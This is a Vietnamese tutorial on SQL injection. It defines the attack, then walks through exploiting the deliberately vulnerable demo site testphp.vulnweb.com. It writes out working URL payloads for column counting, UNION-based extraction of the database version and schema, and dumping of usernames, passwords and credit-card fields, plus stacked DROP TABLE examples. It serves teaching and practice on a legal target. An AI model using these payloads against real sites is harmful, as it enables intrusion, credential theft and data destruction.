1. SQL injection là gì?

SQL injection​ là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp.

SQL injection ​có thể cho phép những kẻ tấn công thực hiện các thao tác: delete, insert, update​… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. SQL injection thường được biết đến như là một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu​ quan hệ​ như SQL Server, MySQL, Oracle, PostgreSQL và hệ quản trị cơ sở dữ liệu phi quan hệ​ (NoSQL) như: MongoDB, Redis, CouchDB…

2. SQL Injection hoạt động ra sao?

Ứng dụng thông thường sẽ nhận dữ liệu đầu vào của người dùng: Username và Password, dùng nó làm tham số truy vấn xuống cơ sở dữ liệu, kết quả truy vấn trả về cho phía người dùng. Lợi dụng dữ liệu đầu vào đó kẻ tấn công sẽ cố tình nhập Username hoặc Password một cách khác thường để tấn công vào các hệ quản trị cơ sở dữ liệu.

3. Các dạng lỗi SQL injection cơ bản

  • Không kiểm tra dữ liệu đầu

Câu truy vấn bình thường: SELECT​ * FROM​ users WHERE​ name = ‘a’;
SQL injection: ​SELECT​ * FROM​ users WHERE​ name = ‘a’ or‘1’=‘1’;
SQL injection: ​SELECT​ * FROM​ users WHERE​ name = ‘a’ UNION select col1, col2, col3​;
Với câu UNION cực kỳ nguy hiểm vì sẽ làm lộ thông tin rất nhiều với kiểu nối chuổi query này. Bản chất của UNION là gộp lại 2 hay nhiều kết quả truy vấn lại với nhau và trả về.

  • Không kiểm tra ký tự kết thúc câu truy vấn

Câu truy vấn bình thường: ​SELECT​ * FROM​ users WHERE​ name = ‘a’;
SQL injection :  SELECT​ ​*​ ​FROM​ users ​WHERE​ name ​=​ ​’a’​;​DROP​ ​TABLE users;

  • Xử lý không đúng kiểu

Câu truy vấn bình thường:
SELECT​ * FROM​ users WHERE​ id = ” + a_variable + “;”
a_variable​ mong muốn ở đây là một biến kiểu Integer nhưng chuyện gì nếu biến a_variable ở đây là: 1; DROP TABLE users ​câu truy vấn hoàn chỉnh của chúng ta là: SELECT​ * FROM​ data​ WHERE​ id=1; DROPTABLE users;

4. Khai thác lỗi SQL Injection trên trang ​http://testphp.vulnweb.com/

  • Bước 1: Xác định lỗi SQL injection

Chọn Browse Categories -> ​chọn Posters

Lúc này đường dẫn ta sẽ là:

http://testphp.vulnweb.com/listproducts.php?cat=1

Thêm một ký tự bất kỳ vào cuối đường link trên, với mục đích là xem Website xử lý như thế nào? Chúng ta sẽ thêm kí tự: `

http://testphp.vulnweb.com/listproducts.php?cat=1`

Màn hình lỗi sẽ xuất hiện

Điều này chứng tỏ Website này không lọc dữ liệu đầu vào mà cố gắng tìm một category nào đó có ID = 1` nên trả về lỗi không tìm thấy

Kết luận:​ Website có thể bị khai thác lỗi SQL Injection

  • Bước 2: Tìm số cột trong bảng có thể bị khai thác

Sử dụng câu lệnh Order By number_col​ để xác định số cột của một bảng nào đó.

Gõ vào trình duyệt lần lượt như sau:

http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1

http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2

http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12

Khi số lượng đủ lớn(12) thì lỗi xảy ra =>điều này cho thấy bảng ListProducts này có tối đa 11 cột mà thôi.

Sử dụng câu lệnh UNION​ để tìm xem những thông tin của cột nào được hiển thị và có thể bị khai thác gõ vào trình duyệt như sau:

Câu lệnh trên sẽ gọp dữ liệu 2 câu select lại với nhau gồm: ListProducts​ có cat=1 và một dữ liệu mẫu(vuln1, vuln2, vuln3… vuln11) kết quả sẽ được hiển thị lên như sau:

Chúng ta thấy cột 2,7,9 được dùng để hiển thị thông tin lên Web vậy nó có thể bị khai thác SQL injection. Ngoài ra ta thay đổi Cat = -1 để thấy cột
vuln11​ cũng được hiển thị lên:

Kết luận:

http://testphp.vulnweb.com có thể bị khai thác
● Bảng list products có thể bị khai thác.
● Bảng list products có 11 cột
● Cột 2,7,9,11 có thể bị SQL Injection

  • Bước 3:​ Khai thác thêm thông tin của hệ quản trị cơ sở dữ liệu

Gõ lệnh vào trình duyệt:

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+’vuln1′,@@version,’vuln3′,’vuln4′,’vuln5′,’vuln6′,’vuln7′,’vuln8′,’vuln9′,’vuln10′,’vuln11′

Lệnh trên sử dụng @@version ​để xác định chính xác phiên bản hiện tại của hệ quản trị cơ sở dữ liệu mà website đang sử dụng, sử dụng cột thứ 2 để hiển thị:

Quá rõ ràng đây là phiên bảng MySQL 5.1.73​ trên hệ điều hành Ubuntu 10.04, ​ngoài ra ta có thể sử dụng tương tự với một số thông tin sau:

  • Xác định tên Database(​acuart​):

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+’vuln1′,database(),’vuln3′,’vuln4′,’vuln5′,’vuln6′,’vuln7′,’vuln8′,’vuln9′,’vuln10′,’vuln11′ 0%27,%27vuln11%27

  • Xác định tất cả các bảng trong Database:

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()–+

  • Xác định tất cả các bảng trong Database(dạng rút gọn):

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()–+

Trong tất cả các bảng thì ta quan tâm nhất bảng Users​ chứa tài khoản đăng nhập, ta sẽ xem tiếp chúng sẽ gồm những cột nào?

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_schem​ ​ a=database() and table_name=’users’–+

Trong bảng Users​ này có 8 cột: uname, pass, cc, address, email, name, phone, cart chúng ta dùng tiếp câu lênh tiếp theo để lấy toàn bộ dữ liệu:

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,group_concat(‘user:’,uname,’—-pass:’,pass,’—–cc:’,cc,’——email:’,email),3,4,5,6,7,8,9,10,11+from+users–+

  • Kết quả: user: test pass: test

Đăng nhập thử với vài khoản vừa tìm được

http://testphp.vulnweb.com/login.php

Đăng nhập thành công!

5. Danh sách các Website có thể khai thác: http://vulnweb.com/